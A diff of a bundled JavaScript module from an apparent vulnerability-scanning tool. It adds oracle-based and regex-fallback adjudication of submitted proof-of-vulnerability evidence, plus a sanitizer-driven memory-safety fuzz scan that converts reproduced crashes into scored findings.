oracle: oracleKind
|
|
3288
|
+
};
|
|
2003
3289
|
}
|
|
2004
|
-
if (
|
|
3290
|
+
if (oracleKind !== "regex-fallback") {
|
|
3291
|
+
return adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts);
|
|
3292
|
+
}
|
|
3293
|
+
const verdict = judge(finding, submitted.execution_evidence);
|
|
3294
|
+
if (!verdict.passed) {
|
|
2005
3295
|
return {
|
|
2006
|
-
|
|
2007
|
-
|
|
2008
|
-
|
|
2009
|
-
|
|
3296
|
+
hasPov: false,
|
|
3297
|
+
povArtifact: submitted.artifact || null,
|
|
3298
|
+
artifactType: submitted.artifact_type,
|
|
3299
|
+
executionEvidence: submitted.execution_evidence,
|
|
3300
|
+
confidence: 0.2,
|
|
3301
|
+
turnsUsed,
|
|
3302
|
+
reason: `submitted PoC did not contain category-specific proof (${verdict.label})`,
|
|
3303
|
+
oracle: "regex-fallback"
|
|
2010
3304
|
};
|
|
2011
3305
|
}
|
|
2012
|
-
const
|
|
2013
|
-
|
|
2014
|
-
|
|
2015
|
-
|
|
2016
|
-
|
|
2017
|
-
|
|
2018
|
-
|
|
2019
|
-
|
|
2020
|
-
|
|
2021
|
-
|
|
2022
|
-
|
|
3306
|
+
const confidence = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
|
|
3307
|
+
return {
|
|
3308
|
+
hasPov: true,
|
|
3309
|
+
povArtifact: submitted.artifact,
|
|
3310
|
+
artifactType: submitted.artifact_type,
|
|
3311
|
+
executionEvidence: submitted.execution_evidence,
|
|
3312
|
+
confidence,
|
|
3313
|
+
turnsUsed,
|
|
3314
|
+
reason: `PoV confirmed: ${verdict.label}${verdict.matchedPattern ? ` (matched: ${verdict.matchedPattern.slice(0, 80)})` : ""}`,
|
|
3315
|
+
oracle: "regex-fallback"
|
|
3316
|
+
};
|
|
2023
3317
|
}
|
|
2024
|
-
|
|
2025
|
-
|
|
2026
|
-
|
|
2027
|
-
|
|
2028
|
-
|
|
2029
|
-
}
|
|
2030
|
-
|
|
2031
|
-
|
|
2032
|
-
|
|
3318
|
+
async function adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts) {
|
|
3319
|
+
const runOracle = opts.oracle ?? verifyOracleByCategory;
|
|
3320
|
+
let oracleResult;
|
|
3321
|
+
try {
|
|
3322
|
+
oracleResult = opts.precomputedOracle ?? await runOracle(finding, target);
|
|
3323
|
+
} catch (err) {
|
|
3324
|
+
return {
|
|
3325
|
+
hasPov: false,
|
|
3326
|
+
povArtifact: submitted.artifact || null,
|
|
3327
|
+
artifactType: submitted.artifact_type,
|
|
3328
|
+
executionEvidence: submitted.execution_evidence,
|
|
3329
|
+
confidence: 0,
|
|
3330
|
+
turnsUsed,
|
|
3331
|
+
reason: `oracle (${oracleKind}) errored, inconclusive: ${err.message}`,
|
|
3332
|
+
oracle: oracleKind,
|
|
3333
|
+
inconclusive: true
|
|
3334
|
+
};
|
|
3335
|
+
}
|
|
3336
|
+
if (oracleResult.verified) {
|
|
3337
|
+
const speed = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
|
|
3338
|
+
return {
|
|
3339
|
+
hasPov: true,
|
|
3340
|
+
povArtifact: submitted.artifact,
|
|
3341
|
+
artifactType: submitted.artifact_type,
|
|
3342
|
+
// Prefer the oracle's reproduced evidence; keep the agent's as context.
|
|
3343
|
+
executionEvidence: oracleResult.evidence || submitted.execution_evidence,
|
|
3344
|
+
confidence: Math.min(speed, oracleResult.confidence || speed),
|
|
3345
|
+
turnsUsed,
|
|
3346
|
+
reason: `PoV confirmed by ${oracleKind} oracle: ${oracleResult.evidence}`,
|
|
3347
|
+
oracle: oracleKind
|
|
3348
|
+
};
|
|
3349
|
+
}
|
|
3350
|
+
if (oracleResult.inconclusive || isOracleInfraError(oracleResult.reason)) {
|
|
3351
|
+
return {
|
|
3352
|
+
hasPov: false,
|
|
3353
|
+
povArtifact: submitted.artifact || null,
|
|
3354
|
+
artifactType: submitted.artifact_type,
|
|
3355
|
+
executionEvidence: submitted.execution_evidence,
|
|
3356
|
+
confidence: 0,
|
|
3357
|
+
turnsUsed,
|
|
3358
|
+
reason: `oracle (${oracleKind}) inconclusive: ${oracleResult.reason}`,
|
|
3359
|
+
oracle: oracleKind,
|
|
3360
|
+
inconclusive: true
|
|
3361
|
+
};
|
|
3362
|
+
}
|
|
3363
|
+
return {
|
|
3364
|
+
hasPov: false,
|
|
3365
|
+
povArtifact: submitted.artifact || null,
|
|
3366
|
+
artifactType: submitted.artifact_type,
|
|
3367
|
+
executionEvidence: submitted.execution_evidence,
|
|
3368
|
+
confidence: 0,
|
|
3369
|
+
turnsUsed,
|
|
3370
|
+
reason: `${oracleKind} oracle did not reproduce the exploit: ${oracleResult.reason}`,
|
|
3371
|
+
oracle: oracleKind
|
|
3372
|
+
};
|
|
3373
|
+
}
|
|
3374
|
+
var MEMCORRUPTION_CRASH_KINDS = /* @__PURE__ */ new Set([
|
|
3375
|
+
"asan",
|
|
3376
|
+
"ubsan",
|
|
3377
|
+
"msan",
|
|
3378
|
+
"miri",
|
|
3379
|
+
"segfault"
|
|
3380
|
+
]);
|
|
3381
|
+
function isReproducedMemCorruption(crash) {
|
|
3382
|
+
return Boolean(crash.inputPath) && MEMCORRUPTION_CRASH_KINDS.has(crash.kind) && Boolean(crash.rawOutput && crash.rawOutput.trim().length > 0);
|
|
3383
|
+
}
|
|
3384
|
+
function memCorruptionVerdict(crash) {
|
|
3385
|
+
const reproduced = isReproducedMemCorruption(crash);
|
|
3386
|
+
const exploit = classifyUserspacePrimitive(crash);
|
|
3387
|
+
if (!reproduced) {
|
|
3388
|
+
return {
|
|
3389
|
+
verdict: "inconclusive",
|
|
3390
|
+
confidence: 0,
|
|
3391
|
+
reasoning: `Crash artifact (kind=${crash.kind}) is not a reproduced memory-corruption PoC \u2014 ${crash.inputPath ? "no sanitizer/Miri corruption signature" : "no saved reproducing input"}. Inconclusive, not a rejection.`,
|
|
3392
|
+
signals: [
|
|
3393
|
+
{
|
|
3394
|
+
name: "memcorruption_repro",
|
|
3395
|
+
passed: false,
|
|
3396
|
+
confidence: 0,
|
|
3397
|
+
reasoning: `kind=${crash.kind}, primitive=${exploit.primitive}, savedInput=${Boolean(crash.inputPath)}`
|
|
3398
|
+
}
|
|
3399
|
+
]
|
|
3400
|
+
};
|
|
3401
|
+
}
|
|
3402
|
+
const gate = reproConfidence(crash);
|
|
3403
|
+
return {
|
|
3404
|
+
verdict: "confirmed",
|
|
3405
|
+
confidence: gate.confidence,
|
|
3406
|
+
reasoning: `Reproduced under the sanitizer/Miri build (kind=${crash.kind}): ${exploit.primitive} (${exploit.readWrite}). ${exploit.rationale}${gate.note}`,
|
|
3407
|
+
signals: [
|
|
3408
|
+
{
|
|
3409
|
+
name: "memcorruption_repro",
|
|
3410
|
+
passed: true,
|
|
3411
|
+
confidence: gate.confidence,
|
|
3412
|
+
reasoning: `signature=${crash.signature}, input=${crash.inputPath}` + (crash.reproConfirmations != null ? `, repro=${crash.reproConfirmations}/${crash.reproAttempts ?? crash.reproConfirmations}` : "")
|
|
3413
|
+
}
|
|
3414
|
+
],
|
|
3415
|
+
evidenceKind: "reproduced-memcorruption-poc"
|
|
3416
|
+
};
|
|
3417
|
+
}
|
|
3418
|
+
function reproConfidence(crash) {
|
|
3419
|
+
const n = crash.reproConfirmations;
|
|
3420
|
+
if (n == null)
|
|
3421
|
+
return { confidence: 0.95, note: "" };
|
|
3422
|
+
if (n >= 2) {
|
|
3423
|
+
const attempts = crash.reproAttempts ?? n;
|
|
3424
|
+
return { confidence: 0.95, note: ` Reproduced ${n}/${attempts}\xD7 (N\xD7 confirmed).` };
|
|
3425
|
+
}
|
|
3426
|
+
if (n === 1) {
|
|
3427
|
+
const attempts = crash.reproAttempts ?? 1;
|
|
3428
|
+
return {
|
|
3429
|
+
confidence: 0.82,
|
|
3430
|
+
note: attempts > 1 ? ` Reproduced only 1/${attempts}\xD7 \u2014 flaky-repro risk; re-run to confirm before relying on it.` : ` Single-shot reproduction (N=1) \u2014 re-run to rule out an environment fluke.`
|
|
3431
|
+
};
|
|
3432
|
+
}
|
|
3433
|
+
return { confidence: 0.82, note: " Reproduction count is 0 \u2014 treat as unconfirmed flake." };
|
|
3434
|
+
}
|
|
3435
|
+
|
|
3436
|
+
// packages/core/dist/stages/memsafety-scan.js
|
|
3437
|
+
function memPrimitiveToCategory(primitive) {
|
|
3438
|
+
switch (primitive) {
|
|
3439
|
+
case "use-after-free":
|
|
3440
|
+
return "use-after-free";
|
|
3441
|
+
case "double-free":
|
|
3442
|
+
return "double-free";
|
|
3443
|
+
case "heap-oob-read":
|
|
3444
|
+
return "out-of-bounds-read";
|
|
3445
|
+
case "heap-oob-write":
|
|
3446
|
+
return "out-of-bounds-write";
|
|
3447
|
+
case "stack-oob":
|
|
3448
|
+
return "stack-buffer-overflow";
|
|
3449
|
+
case "type-confusion":
|
|
3450
|
+
return "type-confusion";
|
|
3451
|
+
case "uninit-read":
|
|
3452
|
+
return "uninitialized-memory";
|
|
3453
|
+
case "null-deref":
|
|
3454
|
+
return "null-deref";
|
|
3455
|
+
case "integer-overflow":
|
|
3456
|
+
return "integer-overflow";
|
|
3457
|
+
case "unknown":
|
|
3458
|
+
return "other";
|
|
3459
|
+
}
|
|
3460
|
+
}
|
|
3461
|
+
function crashArtifactToFinding(crash, target, exploitability, verdict) {
|
|
3462
|
+
const severity = exploitability.severity;
|
|
3463
|
+
const category = memPrimitiveToCategory(exploitability.primitive);
|
|
3464
|
+
const stackSummary = (crash.stack ?? []).slice(0, 5).join(" \u2192 ");
|
|
3465
|
+
const reproducerRef = crash.artifactRef ?? crash.inputPath;
|
|
3466
|
+
const reproduced = verdict.verdict === "confirmed";
|
|
3467
|
+
const description = [
|
|
3468
|
+
`Userspace ${crash.kind} crash in ${target.language} target (${target.sourceRoot}).`,
|
|
3469
|
+
`Primitive: ${exploitability.primitive} (op=${exploitability.readWrite}, controllable=${exploitability.controllable}).`,
|
|
3470
|
+
stackSummary ? `Stack: ${stackSummary}.` : "",
|
|
3471
|
+
reproducerRef ? `Reproducing input: ${reproducerRef}.` : "",
|
|
3472
|
+
reproduced ? "Reproduced under the sanitizer/Miri build (memory-corruption PoC)." : "Observed crash; not yet a reproduced memory-corruption PoC (inconclusive \u2014 not a rejection)."
|
|
3473
|
+
].filter(Boolean).join("\n");
|
|
3474
|
+
const analysisLines = [
|
|
3475
|
+
`Crash kind: ${crash.kind}`,
|
|
3476
|
+
`Signature: ${crash.signature}`,
|
|
3477
|
+
`Category: ${category}`,
|
|
3478
|
+
`Build system: ${target.buildSystem}`,
|
|
3479
|
+
target.harnessEntry ? `Harness: ${target.harnessEntry}` : "",
|
|
3480
|
+
"",
|
|
3481
|
+
"---exploitability---",
|
|
3482
|
+
...describeExploitabilityVerdict(exploitability),
|
|
3483
|
+
"",
|
|
3484
|
+
"---verify verdict---",
|
|
3485
|
+
`Verdict: ${verdict.verdict} (confidence=${verdict.confidence})`,
|
|
3486
|
+
verdict.evidenceKind ? `Evidence: ${verdict.evidenceKind}` : "",
|
|
3487
|
+
verdict.reasoning
|
|
3488
|
+
].filter(Boolean);
|
|
3489
|
+
const confidence = reproduced ? verdict.confidence : 0.3;
|
|
3490
|
+
const rawOut = crash.rawOutput ?? "";
|
|
3491
|
+
return {
|
|
3492
|
+
id: randomUUID2(),
|
|
3493
|
+
templateId: `memsafety-${crash.kind}`,
|
|
3494
|
+
title: `Userspace ${exploitability.primitive} (${crash.kind}) in ${target.sourceRoot}`,
|
|
3495
|
+
description,
|
|
3496
|
+
severity,
|
|
3497
|
+
category,
|
|
3498
|
+
status: "discovered",
|
|
3499
|
+
evidence: {
|
|
3500
|
+
request: reproducerRef ?? "N/A (userspace crash artifact)",
|
|
3501
|
+
response: rawOut.length > 4e3 ? rawOut.slice(0, 4e3) + "\n... [truncated]" : rawOut,
|
|
3502
|
+
analysis: analysisLines.join("\n")
|
|
3503
|
+
},
|
|
3504
|
+
fingerprint: `memsafety:${crash.signature}`,
|
|
3505
|
+
confidence,
|
|
3506
|
+
timestamp: Date.now()
|
|
3507
|
+
};
|
|
3508
|
+
}
|
|
3509
|
+
async function runMemSafetyScan(opts) {
|
|
3510
|
+
const log = opts.logger ?? ((line) => console.log(line));
|
|
3511
|
+
const warnings = [];
|
|
3512
|
+
const playbookContext = buildPlaybookInjection(["rust_memsafety"]);
|
|
3513
|
+
log(`[memsafety] fuzzing ${opts.target.language} target at ${opts.target.sourceRoot}` + (opts.target.harnessEntry ? ` (harness=${opts.target.harnessEntry})` : ""));
|
|
3514
|
+
const loop = await runUserspaceFuzzLoop({
|
|
3515
|
+
...opts.fuzz,
|
|
3516
|
+
target: opts.target,
|
|
3517
|
+
logger: log
|
|
3518
|
+
});
|
|
3519
|
+
const toolingMissing = loop.toolingMissing ?? [];
|
|
3520
|
+
if (toolingMissing.length > 0) {
|
|
3521
|
+
const note = `[memsafety] fuzz loop could not complete \u2014 unavailable prerequisite: ${toolingMissing.join(", ")}. No findings emitted (no fabricated results).`;
|
|
3522
|
+
log(note);
|
|
3523
|
+
warnings.push(note);
|
|
3524
|
+
}
|
|
3525
|
+
const details = [];
|
|
3526
|
+
for (const crash of loop.crashes) {
|
|
3527
|
+
const exploitability = classifyUserspacePrimitive(crash);
|
|
3528
|
+
const verdict = memCorruptionVerdict(crash);
|
|
3529
|
+
const finding = crashArtifactToFinding(crash, opts.target, exploitability, verdict);
|
|
3530
|
+
details.push({ finding, crash, exploitability, verdict });
|
|
3531
|
+
}
|
|
3532
|
+
if (details.length === 0 && toolingMissing.length === 0) {
|
|
3533
|
+
log(`[memsafety] fuzz loop ran ${loop.iterations} iteration(s) with no crashes captured.`);
|
|
3534
|
+
}
|
|
3535
|
+
return {
|
|
3536
|
+
findings: details.map((d) => d.finding),
|
|
3537
|
+
details,
|
|
3538
|
+
loop,
|
|
3539
|
+
toolingMissing,
|
|
3540
|
+
playbookContext,
|
|
3541
|
+
warnings
|
|
3542
|
+
};
|
|
2033
3543
|
}
|
|
2034
3544
|
|
|
2035
3545
|
export {
|
|
@@ -2039,5 +3549,20 @@ export {
|
|
|
2039
3549
|
renderSanitizerVerdict,
|
|
2040
3550
|
detectPlaybooks,
|
|
2041
3551
|
buildPlaybookInjection,
|
|
2042
|
-
classifyPromptLayerImpact
|
|
3552
|
+
classifyPromptLayerImpact,
|
|
3553
|
+
parseCrashOutput,
|
|
3554
|
+
runUserspaceFuzzLoop,
|
|
3555
|
+
maxMemSeverity,
|
|
3556
|
+
sniffMemPrimitive,
|
|
3557
|
+
classifyUserspacePrimitive,
|
|
3558
|
+
describeExploitabilityVerdict,
|
|
3559
|
+
oracleForCategory,
|
|
3560
|
+
oastConfirmedPayload,
|
|
3561
|
+
judgePovEvidence,
|
|
3562
|
+
generatePov,
|
|
3563
|
+
isReproducedMemCorruption,
|
|
3564
|
+
memCorruptionVerdict,
|
|
3565
|
+
memPrimitiveToCategory,
|
|
3566
|
+
crashArtifactToFinding,
|
|
3567
|
+
runMemSafetyScan
|
|
2043
3568
|
};
|